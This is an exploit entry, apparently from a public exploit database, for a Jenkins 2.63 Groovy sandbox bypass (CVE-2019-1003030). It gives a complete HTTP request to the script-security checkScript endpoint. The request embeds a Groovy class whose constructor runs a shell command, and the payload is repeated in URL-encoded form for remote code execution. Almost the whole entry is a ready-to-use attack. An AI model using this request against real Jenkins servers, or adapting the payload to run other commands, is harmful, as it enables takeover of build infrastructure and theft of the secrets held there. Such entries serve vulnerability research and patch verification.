Jenkins 2.63 - Sandbox bypass in pipeline: Groovy plug-in

# Exploit Title: Jenkins 2.63 - Sandbox bypass in pipeline: Groovy plug-in
# Date: 8th October 2020
# Exploit Author: dmw0ng
# Vendor Homepage: https://www.jenkins.io
# Software Link: http://archives.jenkins-ci.org/windows/jenkins-2.63.zip
# Version: Jenkins 2.63
# Tested on: Ubuntu 18.04 / 20.04
# CVE : CVE-2019-1003030

GET /jenkinselj/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {
  public x(){
"ping -c 1 xx.xx.xx.xx".execute()
}
} HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID.4495c8e0=node01jguwrtw481dx1bf3gaoq5o6no32.node0
Connection: close
Upgrade-Insecure-Requests: 1

URL Encoding the following for RCE
```public class x {
  public x(){
"ping -c 1 xx.xx.xx.xx".execute()
}
} ```

to

%70%75%62%6c%69%63%20%63%6c%61%73%73%20%78%20%7b%0a%20%20%70%75%62%6c%69%63%20%78%28%29%7b%0a%22%70%69%6e%67%20%2d%63%20%31%20%78%78%2e%78%78%2e%78%78%2e%78%78%22%2e%65%78%65%63%75%74%65%28%29%0a%7d%0a%7d